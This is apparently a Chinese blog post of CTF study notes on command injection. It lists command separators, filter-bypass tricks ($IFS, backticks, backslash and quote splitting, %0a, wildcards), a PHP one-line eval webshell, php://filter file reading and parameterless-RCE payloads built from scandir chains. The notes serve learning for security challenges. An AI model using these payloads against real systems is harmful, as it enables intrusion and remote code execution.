沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

命令注入の相识

0x01 Windows

其实是想从Linux开始的,=。=, 可是我把Ubuntu里mysql的密码忘了,靶机没搭好。😅

|,||,&,&&的区别(Linux 好像一样)

command 1 | command2: 将①的输出作为②的输入

command 1 || command2: 前面命令执行失败的时候才执行后面的命令

command 1 & command 2: 前面的命令执行完后接着执行后面的命令

command 1 && command 2: 前面的命令执行成功才执行后面的命令

转义

^: 因为要写入php的一句话木马需要<>符号,但是这两个符号有其他意思,所以需要转义。 如:^<?php ?^>(用引号可以不用)

0x02 Linux

空格绕过

$IFS:cat$IFS\chenlvtang.php

$IFS$一个数字 : cat$IFS$2chenlvtang.php

${IFS}:cat${IFS}chenlvtang.php

<:cat<chenlvtang.php

<>:cat<>chenltang.php#需要写入权限

{,}:{cat,chenlvtang.php}

var:chen=$'\x20(or x09)chenlvtang.php'&&cat$chen

%09(tab)

使用带$的命令时,有时候出不来,最好试试转义

反引号``

反引号中的内容会先执行,替换后,再执行主命令:cat `echo chenlvtang.php`

ls

一个很简单的题目,结果因为自己不知道ls还有参数,所以直接使用ls的时候没看到flag文件,还以为那题很难。   =。=

-a: 列出所有文件,包括以 . 开头的隐藏文件

反斜杠”\“

一般来说,反斜杠是告诉shell不要转义了,但用在普通字母上,可以起到绕过某些正则的作用,如果过滤了flag,可以使用下面的形式绕过

cat f\lag

也可以用ca""t,ca''t

\: 用在php一句话木马的变量上,如 <?php @eval(\$_GET['233']) ?>

%0a

当过滤了|&;后,使用换行符%0a可以起到分隔命令的作用

还可以绕过这个$a, >/dev/null 2>&1

0x03 某些绕过

过滤了;

可以使用?>进行绕过

过滤了.

使用通配符*

利用包含

先用include"$_GET[1]"或者inclde$_GET[1],然后利用伪协议传参,1=php://filter/read=convert.base64-encode/resource=flag.php

套娃法(无参RCE)

localeconv():Returns an associative array containing localized numeric and monetary formatting information. 第一个是.

current():每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元, 返回当前内部指针所指向的值

pos():current()的别名

next():将数组内部指针向前(就是指向下一位)移动一位

end():将数组内部指针指向最后一个单元

reset():将数组内部指针指向第一个单元

scandir():列出指定路径中的文件和目录,返回的是一个数组。scandir(‘.’),返回当前目录

array_flip(): 交换数组中的键值对

array_reverse():返回顺序相反的数组,就是倒过来啦

array_rand():随机返回一个数组下标

payload:①highlight_file/show_soure(next(array_reverse(scandir(current(localeconv())))));,如果逆转后flag.php在第二个的话

​ ②print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));因为随机,所以多试几次,用 print_r()记得看源码

使用变量

a=f;b=lag*; cat $a$b